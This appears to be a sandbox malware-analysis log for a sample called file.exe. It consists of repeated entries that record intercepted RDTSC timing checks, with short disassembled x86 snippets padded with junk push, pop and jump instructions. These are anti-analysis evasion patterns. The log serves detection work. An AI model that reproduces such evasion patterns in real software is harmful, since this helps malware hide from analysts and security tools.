Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C510D second address: 8C5112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5112 second address: 8C5118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5118 second address: 8C511E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C511E second address: 8C514D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F00CD21E18Bh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F00CD21E196h 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C514D second address: 8C517C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F00CCD814AFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C545C second address: 8C547C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E198h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C547C second address: 8C549A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B9h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C549A second address: 8C54E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00CD21E18Ch 0x00000008 jmp 00007F00CD21E197h 0x0000000d jmp 00007F00CD21E18Dh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 jng 00007F00CD21E186h 0x0000001d push eax 0x0000001e pop eax 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 jng 00007F00CD21E186h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5797 second address: 8C57A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C57A1 second address: 8C57B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E194h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C57B9 second address: 8C57C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C57C2 second address: 8C57C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BCB second address: 8C5BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BD1 second address: 8C5BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BD6 second address: 8C5BEB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00CCD814A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F00CCD814B4h 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA60C second address: 8CA610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9BDD second address: 8C9BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D20 second address: 8C9D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F00CD21E194h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D41 second address: 8C9D4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F00CCD814A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D4F second address: 8C9D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D53 second address: 8C9D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D59 second address: 8C9D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9D5F second address: 8C9D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA063 second address: 8CA06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA06F second address: 8CA075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2C0C second address: 8D2C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0D65 second address: 8D0D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0D69 second address: 8D0D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0F03 second address: 8D0F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F00CCD814A6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1B1C second address: 8D1B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2945 second address: 8D294A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7127 second address: 8D7148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F00CD21E186h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00CD21E194h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7148 second address: 8D714E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D714E second address: 8D715D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push ecx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D715D second address: 8D7168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7168 second address: 8D716C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAD3F second address: 8DAD43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9E4F second address: 8D9E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00CD21E18Ch 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jng 00007F00CD21E186h 0x00000014 push eax 0x00000015 pop eax 0x00000016 jl 00007F00CD21E186h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F00CD21E199h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9E90 second address: 8D9EA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9EA2 second address: 8D9EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F00CD21E188h 0x0000000c pushad 0x0000000d jp 00007F00CD21E186h 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA00F second address: 8DA016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA71F second address: 8DA728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA728 second address: 8DA745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA8DF second address: 8DA8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA8E6 second address: 8DA8EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA8EC second address: 8DA8FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E18Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8219C1 second address: 8219C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8219C5 second address: 8219C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8219C9 second address: 8219CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5497 second address: 8E549D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E549D second address: 8E54AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E54AD second address: 8E54BD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00CD21E18Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E399A second address: 8E399F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3B1D second address: 8E3B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3B21 second address: 8E3B48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F00CCD814B9h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d js 00007F00CCD814A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3B48 second address: 8E3B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3B4C second address: 8E3B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3B59 second address: 8E3B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D18 second address: 8E3D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F00CCD814A6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007F00CCD814AAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D30 second address: 8E3D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F00CD21E198h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D51 second address: 8E3D77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F00CCD814B7h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D77 second address: 8E3D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D7F second address: 8E3D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D85 second address: 8E3D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3D8D second address: 8E3DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F00CCD814B0h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3EE5 second address: 8E3EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3EEB second address: 8E3F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F00CCD814A6h 0x0000000e jmp 00007F00CCD814AEh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F00CCD814A6h 0x0000001c jl 00007F00CCD814A6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3F16 second address: 8E3F40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F00CD21E193h 0x00000016 jc 00007F00CD21E186h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3F40 second address: 8E3F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3F44 second address: 8E3F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3F4A second address: 8E3F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F00CCD814A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E40E8 second address: 8E40F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4B9A second address: 8E4BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F00CCD814ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F00CCD814AEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 jo 00007F00CCD814A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3113 second address: 8E3122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3122 second address: 8E3137 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F00CCD814B7h 0x00000008 jmp 00007F00CCD814ABh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8E6 second address: 8FD8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8EA second address: 8FD8EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD8EE second address: 8FD90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F00CD21E186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F00CD21E18Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD60B second address: 8FD611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD611 second address: 8FD616 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD616 second address: 8FD61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEE7D second address: 8FEE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D18D second address: 90D191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D191 second address: 90D19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D03C second address: 90D044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D044 second address: 90D048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D048 second address: 90D05A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F00CCD814C3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90F457 second address: 90F465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90F465 second address: 90F49B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F00CCD814A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F00CCD814B9h 0x00000012 je 00007F00CCD814ACh 0x00000018 jc 00007F00CCD814A6h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90F49B second address: 90F4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90F4A1 second address: 90F4BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D6D second address: 917D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D77 second address: 917D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D93 second address: 917D9F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F00CD21E186h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D9F second address: 917DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00CCD814B1h 0x00000008 jmp 00007F00CCD814B2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917DC7 second address: 917DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F00CD21E192h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9167AC second address: 9167B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F00CCD814A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9167B8 second address: 9167DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F00CD21E198h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
